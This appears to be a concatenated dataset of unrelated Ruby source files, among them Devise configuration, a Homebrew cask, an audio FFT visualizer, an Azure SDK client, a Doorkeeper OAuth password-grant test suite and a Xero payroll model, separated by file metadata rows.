# If true, extends the user's remember period when remembered via cookie.
# config.extend_remember_period = false
# Options to be passed to the created cookie. For instance, you can set
# secure: true in order to force SSL only cookies.
# config.rememberable_options = {}
# ==> Configuration for :validatable
# Range for password length.
config.password_length = 8..128
# Email regex used to validate email formats. It simply asserts that
# one (and only one) @ exists in the given string. This is mainly
# to give user feedback and not to assert the e-mail validity.
# config.email_regexp = /\A[^@]+@[^@]+\z/
# ==> Configuration for :timeoutable
# The time you want to timeout the user session without activity. After this
# time the user will be asked for credentials again. Default is 30 minutes.
# config.timeout_in = 30.minutes
# If true, expires auth token on session timeout.
# config.expire_auth_token_on_timeout = false
# ==> Configuration for :lockable
# Defines which strategy will be used to lock an account.
# :failed_attempts = Locks an account after a number of failed attempts to sign in.
# :none = No lock strategy. You should handle locking by yourself.
# config.lock_strategy = :failed_attempts
# Defines which key will be used when locking and unlocking an account
# config.unlock_keys = [ :email ]
# Defines which strategy will be used to unlock an account.
# :email = Sends an unlock link to the user email
# :time = Re-enables login after a certain amount of time (see :unlock_in below)
# :both = Enables both strategies
# :none = No unlock strategy. You should handle unlocking by yourself.
# config.unlock_strategy = :both
# Number of authentication tries before locking an account if lock_strategy
# is failed attempts.
# config.maximum_attempts = 20
# Time interval to unlock the account if :time is enabled as unlock_strategy.
# config.unlock_in = 1.hour
# Warn on the last attempt before the account is locked.
# config.last_attempt_warning = true
# ==> Configuration for :recoverable
#
# Defines which key will be used when recovering the password for an account
# config.reset_password_keys = [ :email ]
# Time interval you can reset your password with a reset password key.
# Don't put a too small interval or your users won't have the time to
# change their passwords.
config.reset_password_within = 6.hours
# ==> Configuration for :encryptable
# Allow you to use another encryption algorithm besides bcrypt (default). You can use
# :sha1, :sha512 or encryptors from others authentication tools as :clearance_sha1,
# :authlogic_sha512 (then you should set stretches above to 20 for default behavior)
# and :restful_authentication_sha1 (then you should set stretches to 10, and copy
# REST_AUTH_SITE_KEY to pepper).
#
# Require the `devise-encryptable` gem when using anything other than bcrypt
# config.encryptor = :sha512
# ==> Scopes configuration
# Turn scoped views on. Before rendering "sessions/new", it will first check for
# "users/sessions/new". It's turned off by default because it's slower if you
# are using only default views.
# config.scoped_views = false
# Configure the default scope given to Warden. By default it's the first
# devise role declared in your routes (usually :user).
# config.default_scope = :user
# Set this configuration to false if you want /users/sign_out to sign out
# only the current scope. By default, Devise signs out all scopes.
# config.sign_out_all_scopes = true
# ==> Navigation configuration
# Lists the formats that should be treated as navigational. Formats like
# :html, should redirect to the sign in page when the user does not have
# access, but formats like :xml or :json, should return 401.
#
# If you have any extra navigational formats, like :iphone or :mobile, you
# should add them to the navigational formats lists.
#
# The "*/*" below is required to match Internet Explorer requests.
# config.navigational_formats = ['*/*', :html]
# The default HTTP method used to sign out a resource. Default is :delete.
config.sign_out_via = :delete
# ==> OmniAuth
# Add a new OmniAuth provider. Check the wiki for more information on setting
# up on your models and hooks.
# config.omniauth :github, 'APP_ID', 'APP_SECRET', scope: 'user,public_repo'
# ==> Warden configuration
# If you want to use other strategies, that are not supported by Devise, or
# change the failure app, you can configure them inside the config.warden block.
#
# config.warden do |manager|
# manager.intercept_401 = false
# manager.default_strategies(scope: :user).unshift :some_external_strategy
# end
# ==> Mountable engine configurations
# When using Devise inside an engine, let's call it `MyEngine`, and this engine
# is mountable, there are some extra configurations to be taken into account.
# The following options are available, assuming the engine is mounted as:
#
# mount MyEngine, at: '/my_engine'
#
# The router that invoked `devise_for`, in the example above, would be:
# config.router_name = :my_engine
#
# When using omniauth, Devise cannot automatically set Omniauth path,
# so you need to do it manually. For the users scope, it would be:
# config.omniauth_path_prefix = '/my_engine/users/auth'
end
| 49.042308 | 152 | 0.750451 |
4aa383140d97c358a9f6b1262a4747fd89b818c5 | 387 | cask :v1 => 'airmail-amt' do
version :latest
sha256 :no_check
url 'https://rink.hockeyapp.net/api/2/apps/af58f04487c30ac4c1e8706aa9e41c5b?format=zip'
name 'Airmail - Account Migration Toolkit'
homepage 'http://airmailapp.com/amt/'
license :unknown # todo: change license and remove this comment; ':unknown' is a machine-generated placeholder
app 'Airmail AMT.app'
end
| 32.25 | 115 | 0.741602 |
629780715edd72f4c5576d261adda5e69fd7c1ef | 3,455 | require 'ffi-portaudio'
include FFI::PortAudio
# from https://github.com/corbanbrook/fourier_transform
class FourierTransform
attr_reader :spectrum, :bandwidth, :samplerate, :buffersize
def initialize buffersize, samplerate
@buffersize = buffersize
@samplerate = samplerate
@bandwidth = (2.0 / @buffersize) * (@samplerate / 2.0)
@spectrum = Array.new
build_reverse_table
build_trig_tables
end
def build_reverse_table
@reverse = Array.new(@buffersize)
@reverse[0] = 0;
limit = 1
bit = @buffersize >> 1
while (limit < @buffersize )
(0...limit).each do |i|
@reverse[i + limit] = @reverse[i] + bit
end
limit = limit << 1
bit = bit >> 1
end
end
def build_trig_tables
@sin_lookup = Array.new(@buffersize)
@cos_lookup = Array.new(@buffersize)
(0...@buffersize).each do |i|
@sin_lookup[i] = Math.sin(- Math::PI / i);
@cos_lookup[i] = Math.cos(- Math::PI / i);
end
end
def fft(buffer)
raise Exception if buffer.length % 2 != 0
real = Array.new(buffer.length)
imag = Array.new(buffer.length)
(0...buffer.length).each do |i|
real[i] = buffer[@reverse[i]]
imag[i] = 0.0
end
halfsize = 1
while halfsize < buffer.length
phase_shift_step_real = @cos_lookup[halfsize]
phase_shift_step_imag = @sin_lookup[halfsize]
current_phase_shift_real = 1.0
current_phase_shift_imag = 0.0
(0...halfsize).each do |fft_step|
i = fft_step
while i < buffer.length
off = i + halfsize
tr = (current_phase_shift_real * real[off]) - (current_phase_shift_imag * imag[off])
ti = (current_phase_shift_real * imag[off]) + (current_phase_shift_imag * real[off])
real[off] = real[i] - tr
imag[off] = imag[i] - ti
real[i] += tr
imag[i] += ti
i += halfsize << 1
end
tmp_real = current_phase_shift_real
current_phase_shift_real = (tmp_real * phase_shift_step_real) - (current_phase_shift_imag * phase_shift_step_imag)
current_phase_shift_imag = (tmp_real * phase_shift_step_imag) + (current_phase_shift_imag * phase_shift_step_real)
end
halfsize = halfsize << 1
end
(0...buffer.length/2).each do |i|
@spectrum[i] = 2 * Math.sqrt(real[i] ** 2 + imag[i] ** 2) / buffer.length
end
@spectrum
end
end
WINDOW = 1024
class FFTStream < Stream
def initialize
@max = 1
@fourier = FourierTransform.new(WINDOW, 44100)
end
def process(input, output, frameCount, timeInfo, statusFlags, userData)
@fourier.fft input.read_array_of_int16(frameCount)
print "\e[2J\e[H"
puts "Spectrum"
@fourier.spectrum[0, WINDOW/16].each_slice(2) do |a|
sum = a.inject(0, :+)
@max = [@max, sum].max
s = "*" * (sum * 50 / @max).to_i
[[0, 36], [5, 32], [40, 31]].reverse.each do |i, color|
s[i] = "\e[#{color}m" if s[i]
end
puts s
print "\e[0m"
end
:paContinue
end
end
API.Pa_Initialize
input = API::PaStreamParameters.new
input[:device] = API.Pa_GetDefaultInputDevice
input[:channelCount] = 1
input[:sampleFormat] = API::Int16
input[:suggestedLatency] = 0
input[:hostApiSpecificStreamInfo] = nil
stream = FFTStream.new
stream.open(input, nil, 44100, WINDOW)
stream.start
at_exit {
stream.close
API.Pa_Terminate
}
loop { sleep 1 }
| 24.856115 | 122 | 0.621418 |
acad82751435a76e30c44a0701eec0ba1d645e10 | 1,147 | #!/usr/bin/env ruby
require 'json'
# filepath to the output of querying optica for all hosts
#
# wget http://optica.d.musta.ch/ -O ~/tmp/optica_output.txt
# ruby optica_query.rb ~/tmp/optica_output.txt > /tmp/out 2> /tmp/err
#
# number of hosts that don't have titanic installed
# cut -d, -f3 /tmp/out | rg '^$' | wc
#
# hosts that have titanic installed
# cut -d, -f3 /tmp/out | rg -v '^$' | wc
#
# find statistics of titanic versions
# cut -d, -f3 /tmp/out | rg -v '^$' | cut -d' ' -f1 | sort | uniq -c
#
optica_data = ARGV[0]
File.open(optica_data) do |fd|
j = JSON.load(fd)
nodes = j['nodes']
nodes.each do |key, value|
begin
recipes = value['recipes']
chef_role = value['role']
hostname = value['hostname']
titanic_versions = value['titanic_versions'] || []
ruby_versions = []
if recipes
ruby_versions = recipes.select do |recipe|
recipe =~ /^ruby/
end
end
puts "#{hostname},#{chef_role},#{titanic_versions.join(' ')},#{ruby_versions.join(' ')}"
rescue => e
STDERR.puts "error processing node: #{value}"
STDERR.puts e
end
end
end
| 27.97561 | 94 | 0.607672 |
ac7264970d27378d8c315825bd83a960c0c8378d | 6,826 | # encoding: utf-8
# Code generated by Microsoft (R) AutoRest Code Generator.
# Changes may cause incorrect behavior and will be lost if the code is
# regenerated.
module Azure::MediaServices::Mgmt::V2018_07_01
#
# A service client - single point of access to the REST API.
#
class AzureMediaServices < MsRestAzure::AzureServiceClient
include MsRestAzure
include MsRestAzure::Serialization
# @return [String] the base URI of the service.
attr_accessor :base_url
# @return Credentials needed for the client to connect to Azure.
attr_reader :credentials
# @return [String] The unique identifier for a Microsoft Azure
# subscription.
attr_accessor :subscription_id
# @return [String] The Version of the API to be used with the client
# request.
attr_reader :api_version
# @return [String] The preferred language for the response.
attr_accessor :accept_language
# @return [Integer] The retry timeout in seconds for Long Running
# Operations. Default value is 30.
attr_accessor :long_running_operation_retry_timeout
# @return [Boolean] Whether a unique x-ms-client-request-id should be
# generated. When set to true a unique x-ms-client-request-id value is
# generated and included in each request. Default is true.
attr_accessor :generate_client_request_id
# @return [AccountFilters] account_filters
attr_reader :account_filters
# @return [Operations] operations
attr_reader :operations
# @return [Mediaservices] mediaservices
attr_reader :mediaservices
# @return [Locations] locations
attr_reader :locations
# @return [Assets] assets
attr_reader :assets
# @return [AssetFilters] asset_filters
attr_reader :asset_filters
# @return [ContentKeyPolicies] content_key_policies
attr_reader :content_key_policies
# @return [Transforms] transforms
attr_reader :transforms
# @return [Jobs] jobs
attr_reader :jobs
# @return [StreamingPolicies] streaming_policies
attr_reader :streaming_policies
# @return [StreamingLocators] streaming_locators
attr_reader :streaming_locators
# @return [LiveEvents] live_events
attr_reader :live_events
# @return [LiveOutputs] live_outputs
attr_reader :live_outputs
# @return [StreamingEndpoints] streaming_endpoints
attr_reader :streaming_endpoints
#
# Creates initializes a new instance of the AzureMediaServices class.
# @param credentials [MsRest::ServiceClientCredentials] credentials to authorize HTTP requests made by the service client.
# @param base_url [String] the base URI of the service.
# @param options [Array] filters to be applied to the HTTP requests.
#
def initialize(credentials = nil, base_url = nil, options = nil)
super(credentials, options)
@base_url = base_url || 'https://management.azure.com'
fail ArgumentError, 'invalid type of credentials input parameter' unless credentials.is_a?(MsRest::ServiceClientCredentials) unless credentials.nil?
@credentials = credentials
@account_filters = AccountFilters.new(self)
@operations = Operations.new(self)
@mediaservices = Mediaservices.new(self)
@locations = Locations.new(self)
@assets = Assets.new(self)
@asset_filters = AssetFilters.new(self)
@content_key_policies = ContentKeyPolicies.new(self)
@transforms = Transforms.new(self)
@jobs = Jobs.new(self)
@streaming_policies = StreamingPolicies.new(self)
@streaming_locators = StreamingLocators.new(self)
@live_events = LiveEvents.new(self)
@live_outputs = LiveOutputs.new(self)
@streaming_endpoints = StreamingEndpoints.new(self)
@api_version = '2018-07-01'
@accept_language = 'en-US'
@long_running_operation_retry_timeout = 30
@generate_client_request_id = true
add_telemetry
end
#
# Makes a request and returns the body of the response.
# @param method [Symbol] with any of the following values :get, :put, :post, :patch, :delete.
# @param path [String] the path, relative to {base_url}.
# @param options [Hash{String=>String}] specifying any request options like :body.
# @return [Hash{String=>String}] containing the body of the response.
# Example:
#
# request_content = "{'location':'westus','tags':{'tag1':'val1','tag2':'val2'}}"
# path = "/path"
# options = {
# body: request_content,
# query_params: {'api-version' => '2016-02-01'}
# }
# result = @client.make_request(:put, path, options)
#
def make_request(method, path, options = {})
result = make_request_with_http_info(method, path, options)
result.body unless result.nil?
end
#
# Makes a request and returns the operation response.
# @param method [Symbol] with any of the following values :get, :put, :post, :patch, :delete.
# @param path [String] the path, relative to {base_url}.
# @param options [Hash{String=>String}] specifying any request options like :body.
# @return [MsRestAzure::AzureOperationResponse] Operation response containing the request, response and status.
#
def make_request_with_http_info(method, path, options = {})
result = make_request_async(method, path, options).value!
result.body = result.response.body.to_s.empty? ? nil : JSON.load(result.response.body)
result
end
#
# Makes a request asynchronously.
# @param method [Symbol] with any of the following values :get, :put, :post, :patch, :delete.
# @param path [String] the path, relative to {base_url}.
# @param options [Hash{String=>String}] specifying any request options like :body.
# @return [Concurrent::Promise] Promise object which holds the HTTP response.
#
def make_request_async(method, path, options = {})
fail ArgumentError, 'method is nil' if method.nil?
fail ArgumentError, 'path is nil' if path.nil?
request_url = options[:base_url] || @base_url
if(!options[:headers].nil? && !options[:headers]['Content-Type'].nil?)
@request_headers['Content-Type'] = options[:headers]['Content-Type']
end
request_headers = @request_headers
request_headers.merge!({'accept-language' => @accept_language}) unless @accept_language.nil?
options.merge!({headers: request_headers.merge(options[:headers] || {})})
options.merge!({credentials: @credentials}) unless @credentials.nil?
super(request_url, method, path, options)
end
private
#
# Adds telemetry information.
#
def add_telemetry
sdk_information = 'azure_mgmt_media_services'
sdk_information = "#{sdk_information}/0.20.0"
add_user_agent_information(sdk_information)
end
end
end
| 36.698925 | 154 | 0.697773 |
26a1aa0ad99197889d86bdf19c6be69969138e81 | 1,223 | # frozen_string_literal: true
# Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Auto-generated by gapic-generator-ruby. DO NOT EDIT!
# [START clouddeploy_v1_generated_CloudDeploy_GetConfig_sync]
require "google/cloud/deploy/v1"
# Create a client object. The client can be reused for multiple calls.
client = Google::Cloud::Deploy::V1::CloudDeploy::Client.new
# Create a request. To set request fields, pass in keyword arguments.
request = Google::Cloud::Deploy::V1::GetConfigRequest.new
# Call the get_config method.
result = client.get_config request
# The returned object is of type Google::Cloud::Deploy::V1::Config.
p result
# [END clouddeploy_v1_generated_CloudDeploy_GetConfig_sync]
| 35.970588 | 74 | 0.776778 |
21f049d6aef55facaacafe63bc772916a2a3c4f2 | 13,509 | # Use this hook to configure devise mailer, warden hooks and so forth.
# Many of these configuration options can be set straight in your model.
Devise.setup do |config|
# The secret key used by Devise. Devise uses this key to generate
# random tokens. Changing this key will render invalid all existing
# confirmation, reset password and unlock tokens in the database.
# Devise will use the `secret_key_base` as its `secret_key`
# by default. You can change it below and use your own secret key.
# config.secret_key = '830f28e3ac593e1b05254855d6c0f16295ab52d075dca7c6d768acb38132dd0bbc84107735c2294e81ad60c44ffef073c94d94ccb1920260122dd3f8b741e2c1'
# ==> Mailer Configuration
# Configure the e-mail address which will be shown in Devise::Mailer,
# note that it will be overwritten if you use your own mailer class
# with default "from" parameter.
config.mailer_sender = '[email protected]'
# Configure the class responsible to send e-mails.
# config.mailer = 'Devise::Mailer'
# Configure the parent class responsible to send e-mails.
# config.parent_mailer = 'ActionMailer::Base'
# ==> ORM configuration
# Load and configure the ORM. Supports :active_record (default) and
# :mongoid (bson_ext recommended) by default. Other ORMs may be
# available as additional gems.
require 'devise/orm/active_record'
# ==> Configuration for any authentication mechanism
# Configure which keys are used when authenticating a user. The default is
# just :email. You can configure it to use [:username, :subdomain], so for
# authenticating a user, both parameters are required. Remember that those
# parameters are used only when authenticating and not when retrieving from
# session. If you need permissions, you should implement that in a before filter.
# You can also supply a hash where the value is a boolean determining whether
# or not authentication should be aborted when the value is not present.
# config.authentication_keys = [:email]
# Configure parameters from the request object used for authentication. Each entry
# given should be a request method and it will automatically be passed to the
# find_for_authentication method and considered in your model lookup. For instance,
# if you set :request_keys to [:subdomain], :subdomain will be used on authentication.
# The same considerations mentioned for authentication_keys also apply to request_keys.
# config.request_keys = []
# Configure which authentication keys should be case-insensitive.
# These keys will be downcased upon creating or modifying a user and when used
# to authenticate or find a user. Default is :email.
config.case_insensitive_keys = [:email]
# Configure which authentication keys should have whitespace stripped.
# These keys will have whitespace before and after removed upon creating or
# modifying a user and when used to authenticate or find a user. Default is :email.
config.strip_whitespace_keys = [:email]
# Tell if authentication through request.params is enabled. True by default.
# It can be set to an array that will enable params authentication only for the
# given strategies, for example, `config.params_authenticatable = [:database]` will
# enable it only for database (email + password) authentication.
# config.params_authenticatable = true
# Tell if authentication through HTTP Auth is enabled. False by default.
# It can be set to an array that will enable http authentication only for the
# given strategies, for example, `config.http_authenticatable = [:database]` will
# enable it only for database authentication. The supported strategies are:
# :database = Support basic authentication with authentication key + password
# config.http_authenticatable = false
# If 401 status code should be returned for AJAX requests. True by default.
# config.http_authenticatable_on_xhr = true
# The realm used in Http Basic Authentication. 'Application' by default.
# config.http_authentication_realm = 'Application'
# It will change confirmation, password recovery and other workflows
# to behave the same regardless if the e-mail provided was right or wrong.
# Does not affect registerable.
# config.paranoid = true
# By default Devise will store the user in session. You can skip storage for
# particular strategies by setting this option.
# Notice that if you are skipping storage for all authentication paths, you
# may want to disable generating routes to Devise's sessions controller by
# passing skip: :sessions to `devise_for` in your config/routes.rb
config.skip_session_storage = [:http_auth]
# By default, Devise cleans up the CSRF token on authentication to
# avoid CSRF token fixation attacks. This means that, when using AJAX
# requests for sign in and sign up, you need to get a new CSRF token
# from the server. You can disable this option at your own risk.
# config.clean_up_csrf_token_on_authentication = true
# When false, Devise will not attempt to reload routes on eager load.
# This can reduce the time taken to boot the app but if your application
# requires the Devise mappings to be loaded during boot time the application
# won't boot properly.
# config.reload_routes = true
# ==> Configuration for :database_authenticatable
# For bcrypt, this is the cost for hashing the password and defaults to 11. If
# using other algorithms, it sets how many times you want the password to be hashed.
#
# Limiting the stretches to just one in testing will increase the performance of
# your test suite dramatically. However, it is STRONGLY RECOMMENDED to not use
# a value less than 10 in other environments. Note that, for bcrypt (the default
# algorithm), the cost increases exponentially with the number of stretches (e.g.
# a value of 20 is already extremely slow: approx. 60 seconds for 1 calculation).
config.stretches = Rails.env.test? ? 1 : 11
# Set up a pepper to generate the hashed password.
# config.pepper = 'b1e62fe6d63f84aad3cb871fd01d8f77a3e983ec2c9310e777f32dacfc8d28e1cb0952f5a4319ee11144cc81f9eb486b98a6b58e8486254595e740dd82883fab'
# Send a notification email when the user's password is changed
# config.send_password_change_notification = false
# ==> Configuration for :confirmable
# A period that the user is allowed to access the website even without
# confirming their account. For instance, if set to 2.days, the user will be
# able to access the website for two days without confirming their account,
# access will be blocked just in the third day. Default is 0.days, meaning
# the user cannot access the website without confirming their account.
# config.allow_unconfirmed_access_for = 2.days
# A period that the user is allowed to confirm their account before their
# token becomes invalid. For example, if set to 3.days, the user can confirm
# their account within 3 days after the mail was sent, but on the fourth day
# their account can't be confirmed with the token any more.
# Default is nil, meaning there is no restriction on how long a user can take
# before confirming their account.
# config.confirm_within = 3.days
# If true, requires any email changes to be confirmed (exactly the same way as
# initial account confirmation) to be applied. Requires additional unconfirmed_email
# db field (see migrations). Until confirmed, new email is stored in
# unconfirmed_email column, and copied to email column on successful confirmation.
config.reconfirmable = true
# Defines which key will be used when confirming an account
# config.confirmation_keys = [:email]
# ==> Configuration for :rememberable
# The time the user will be remembered without asking for credentials again.
# config.remember_for = 2.weeks
# Invalidates all the remember me tokens when the user signs out.
config.expire_all_remember_me_on_sign_out = true
# If true, extends the user's remember period when remembered via cookie.
# config.extend_remember_period = false
# Options to be passed to the created cookie. For instance, you can set
# secure: true in order to force SSL only cookies.
# config.rememberable_options = {}
# ==> Configuration for :validatable
# Range for password length.
config.password_length = 6..128
# Email regex used to validate email formats. It simply asserts that
# one (and only one) @ exists in the given string. This is mainly
# to give user feedback and not to assert the e-mail validity.
config.email_regexp = /\A[^@\s]+@[^@\s]+\z/
# ==> Configuration for :timeoutable
# The time you want to timeout the user session without activity. After this
# time the user will be asked for credentials again. Default is 30 minutes.
# config.timeout_in = 30.minutes
# ==> Configuration for :lockable
# Defines which strategy will be used to lock an account.
# :failed_attempts = Locks an account after a number of failed attempts to sign in.
# :none = No lock strategy. You should handle locking by yourself.
# config.lock_strategy = :failed_attempts
# Defines which key will be used when locking and unlocking an account
# config.unlock_keys = [:email]
# Defines which strategy will be used to unlock an account.
# :email = Sends an unlock link to the user email
# :time = Re-enables login after a certain amount of time (see :unlock_in below)
# :both = Enables both strategies
# :none = No unlock strategy. You should handle unlocking by yourself.
# config.unlock_strategy = :both
# Number of authentication tries before locking an account if lock_strategy
# is failed attempts.
# config.maximum_attempts = 20
# Time interval to unlock the account if :time is enabled as unlock_strategy.
# config.unlock_in = 1.hour
# Warn on the last attempt before the account is locked.
# config.last_attempt_warning = true
# ==> Configuration for :recoverable
#
# Defines which key will be used when recovering the password for an account
# config.reset_password_keys = [:email]
# Time interval you can reset your password with a reset password key.
# Don't put a too small interval or your users won't have the time to
# change their passwords.
config.reset_password_within = 6.hours
# When set to false, does not sign a user in automatically after their password is
# reset. Defaults to true, so a user is signed in automatically after a reset.
# config.sign_in_after_reset_password = true
# ==> Configuration for :encryptable
# Allow you to use another hashing or encryption algorithm besides bcrypt (default).
# You can use :sha1, :sha512 or algorithms from others authentication tools as
# :clearance_sha1, :authlogic_sha512 (then you should set stretches above to 20
# for default behavior) and :restful_authentication_sha1 (then you should set
# stretches to 10, and copy REST_AUTH_SITE_KEY to pepper).
#
# Require the `devise-encryptable` gem when using anything other than bcrypt
# config.encryptor = :sha512
# ==> Scopes configuration
# Turn scoped views on. Before rendering "sessions/new", it will first check for
# "users/sessions/new". It's turned off by default because it's slower if you
# are using only default views.
# config.scoped_views = false
# Configure the default scope given to Warden. By default it's the first
# devise role declared in your routes (usually :user).
# config.default_scope = :user
# Set this configuration to false if you want /users/sign_out to sign out
# only the current scope. By default, Devise signs out all scopes.
# config.sign_out_all_scopes = true
# ==> Navigation configuration
# Lists the formats that should be treated as navigational. Formats like
# :html, should redirect to the sign in page when the user does not have
# access, but formats like :xml or :json, should return 401.
#
# If you have any extra navigational formats, like :iphone or :mobile, you
# should add them to the navigational formats lists.
#
# The "*/*" below is required to match Internet Explorer requests.
# config.navigational_formats = ['*/*', :html]
# The default HTTP method used to sign out a resource. Default is :delete.
config.sign_out_via = :delete
# ==> OmniAuth
# Add a new OmniAuth provider. Check the wiki for more information on setting
# up on your models and hooks.
# config.omniauth :github, 'APP_ID', 'APP_SECRET', scope: 'user,public_repo'
# ==> Warden configuration
# If you want to use other strategies, that are not supported by Devise, or
# change the failure app, you can configure them inside the config.warden block.
#
# config.warden do |manager|
# manager.intercept_401 = false
# manager.default_strategies(scope: :user).unshift :some_external_strategy
# end
# ==> Mountable engine configurations
# When using Devise inside an engine, let's call it `MyEngine`, and this engine
# is mountable, there are some extra configurations to be taken into account.
# The following options are available, assuming the engine is mounted as:
#
# mount MyEngine, at: '/my_engine'
#
# The router that invoked `devise_for`, in the example above, would be:
# config.router_name = :my_engine
#
# When using OmniAuth, Devise cannot automatically set OmniAuth path,
# so you need to do it manually. For the users scope, it would be:
# config.omniauth_path_prefix = '/my_engine/users/auth'
end
| 49.123636 | 154 | 0.751129 |
bf8201b1ac4b3f0ae70f1880725b84fd065653a9 | 8,687 | require 'spec_helper'
describe 'Resource Owner Password Credentials Flow not set up' do
before do
client_exists
create_resource_owner
end
context 'with valid user credentials' do
it 'does not issue new token' do
expect do
post password_token_endpoint_url(client: @client, resource_owner: @resource_owner)
end.to_not(change { Doorkeeper::AccessToken.count })
end
end
end
describe 'Resource Owner Password Credentials Flow' do
let(:client_attributes) { {} }
before do
config_is_set(:grant_flows, ["password"])
config_is_set(:resource_owner_from_credentials) { User.authenticate! params[:username], params[:password] }
client_exists(client_attributes)
create_resource_owner
end
context 'with valid user credentials' do
context "with non-confidential/public client" do
let(:client_attributes) { { confidential: false } }
context "when client_secret absent" do
it "should issue new token" do
expect do
post password_token_endpoint_url(client_id: @client.uid, resource_owner: @resource_owner)
end.to change { Doorkeeper::AccessToken.count }.by(1)
token = Doorkeeper::AccessToken.first
expect(token.application_id).to eq @client.id
should_have_json 'access_token', token.token
end
end
context "when client_secret present" do
it "should issue new token" do
expect do
post password_token_endpoint_url(client: @client, resource_owner: @resource_owner)
end.to change { Doorkeeper::AccessToken.count }.by(1)
token = Doorkeeper::AccessToken.first
expect(token.application_id).to eq @client.id
should_have_json 'access_token', token.token
end
context "when client_secret incorrect" do
it "should not issue new token" do
expect do
post password_token_endpoint_url(
client_id: @client.uid,
client_secret: 'foobar',
resource_owner: @resource_owner
)
end.not_to(change { Doorkeeper::AccessToken.count })
expect(response.status).to eq(401)
should_have_json 'error', 'invalid_client'
end
end
end
end
context "with confidential/private client" do
it "should issue new token" do
expect do
post password_token_endpoint_url(client: @client, resource_owner: @resource_owner)
end.to change { Doorkeeper::AccessToken.count }.by(1)
token = Doorkeeper::AccessToken.first
expect(token.application_id).to eq @client.id
should_have_json 'access_token', token.token
end
context "when client_secret absent" do
it "should not issue new token" do
expect do
post password_token_endpoint_url(client_id: @client.uid, resource_owner: @resource_owner)
end.not_to(change { Doorkeeper::AccessToken.count })
expect(response.status).to eq(401)
should_have_json 'error', 'invalid_client'
end
end
end
it 'should issue new token without client credentials' do
expect do
post password_token_endpoint_url(resource_owner: @resource_owner)
end.to(change { Doorkeeper::AccessToken.count }.by(1))
token = Doorkeeper::AccessToken.first
expect(token.application_id).to be_nil
should_have_json 'access_token', token.token
end
it 'should issue a refresh token if enabled' do
config_is_set(:refresh_token_enabled, true)
post password_token_endpoint_url(client: @client, resource_owner: @resource_owner)
token = Doorkeeper::AccessToken.first
should_have_json 'refresh_token', token.refresh_token
end
it 'should return the same token if it is still accessible' do
allow(Doorkeeper.configuration).to receive(:reuse_access_token).and_return(true)
client_is_authorized(@client, @resource_owner)
post password_token_endpoint_url(client: @client, resource_owner: @resource_owner)
expect(Doorkeeper::AccessToken.count).to be(1)
should_have_json 'access_token', Doorkeeper::AccessToken.first.token
end
context 'with valid, default scope' do
before do
default_scopes_exist :public
end
it 'should issue new token' do
expect do
post password_token_endpoint_url(client: @client, resource_owner: @resource_owner, scope: 'public')
end.to change { Doorkeeper::AccessToken.count }.by(1)
token = Doorkeeper::AccessToken.first
expect(token.application_id).to eq @client.id
should_have_json 'access_token', token.token
should_have_json 'scope', 'public'
end
end
end
context 'when application scopes are present and differs from configured default scopes and no scope is passed' do
before do
default_scopes_exist :public
@client.update_attributes(scopes: 'abc')
end
it 'issues new token without any scope' do
expect do
post password_token_endpoint_url(client: @client, resource_owner: @resource_owner)
end.to change { Doorkeeper::AccessToken.count }.by(1)
token = Doorkeeper::AccessToken.first
expect(token.application_id).to eq @client.id
expect(token.scopes).to be_empty
should_have_json 'access_token', token.token
should_not_have_json 'scope'
end
end
context 'when application scopes contain some of the default scopes and no scope is passed' do
before do
@client.update_attributes(scopes: 'read write public')
end
it 'issues new token with one default scope that are present in application scopes' do
default_scopes_exist :public, :admin
expect do
post password_token_endpoint_url(client: @client, resource_owner: @resource_owner)
end.to change { Doorkeeper::AccessToken.count }.by(1)
token = Doorkeeper::AccessToken.first
expect(token.application_id).to eq @client.id
should_have_json 'access_token', token.token
should_have_json 'scope', 'public'
end
it 'issues new token with multiple default scopes that are present in application scopes' do
default_scopes_exist :public, :read, :update
expect do
post password_token_endpoint_url(client: @client, resource_owner: @resource_owner)
end.to change { Doorkeeper::AccessToken.count }.by(1)
token = Doorkeeper::AccessToken.first
expect(token.application_id).to eq @client.id
should_have_json 'access_token', token.token
should_have_json 'scope', 'public read'
end
end
context 'with invalid scopes' do
subject do
post password_token_endpoint_url(client: @client,
resource_owner: @resource_owner,
scope: 'random')
end
it 'should not issue new token' do
expect { subject }.to_not(change { Doorkeeper::AccessToken.count })
end
it 'should return invalid_scope error' do
subject
should_have_json 'error', 'invalid_scope'
should_have_json 'error_description', translated_error_message(:invalid_scope)
should_not_have_json 'access_token'
expect(response.status).to eq(400)
end
end
context 'with invalid user credentials' do
it 'should not issue new token with bad password' do
expect do
post password_token_endpoint_url(client: @client,
resource_owner_username: @resource_owner.name,
resource_owner_password: 'wrongpassword')
end.to_not(change { Doorkeeper::AccessToken.count })
end
it 'should not issue new token without credentials' do
expect do
post password_token_endpoint_url(client: @client)
end.to_not(change { Doorkeeper::AccessToken.count })
end
end
context 'with invalid confidential client credentials' do
it 'should not issue new token with bad client credentials' do
expect do
post password_token_endpoint_url(client_id: @client.uid,
client_secret: 'bad_secret',
resource_owner: @resource_owner)
end.to_not(change { Doorkeeper::AccessToken.count })
end
end
context 'with invalid public client id' do
it 'should not issue new token with bad client id' do
expect do
post password_token_endpoint_url(client_id: 'bad_id', resource_owner: @resource_owner)
end.to_not(change { Doorkeeper::AccessToken.count })
end
end
end
| 33.670543 | 116 | 0.672269 |
ab69642a4c784ff25eeb1052c75b899fb83251fb | 7,234 | =begin
#Xero Payroll UK
#This is the Xero Payroll API for orgs in the UK region.
Contact: [email protected]
Generated by: https://openapi-generator.tech
OpenAPI Generator version: 4.3.1
=end
require 'time'
require 'date'
module XeroRuby::PayrollUk
require 'bigdecimal'
class EmployeeStatutoryLeavesSummaries
attr_accessor :pagination
attr_accessor :problem
attr_accessor :statutory_leaves
# Attribute mapping from ruby-style variable name to JSON key.
def self.attribute_map
{
:'pagination' => :'pagination',
:'problem' => :'problem',
:'statutory_leaves' => :'statutoryLeaves'
}
end
# Attribute type mapping.
def self.openapi_types
{
:'pagination' => :'Pagination',
:'problem' => :'Problem',
:'statutory_leaves' => :'Array<EmployeeStatutoryLeaveSummary>'
}
end
# Initializes the object
# @param [Hash] attributes Model attributes in the form of hash
def initialize(attributes = {})
if (!attributes.is_a?(Hash))
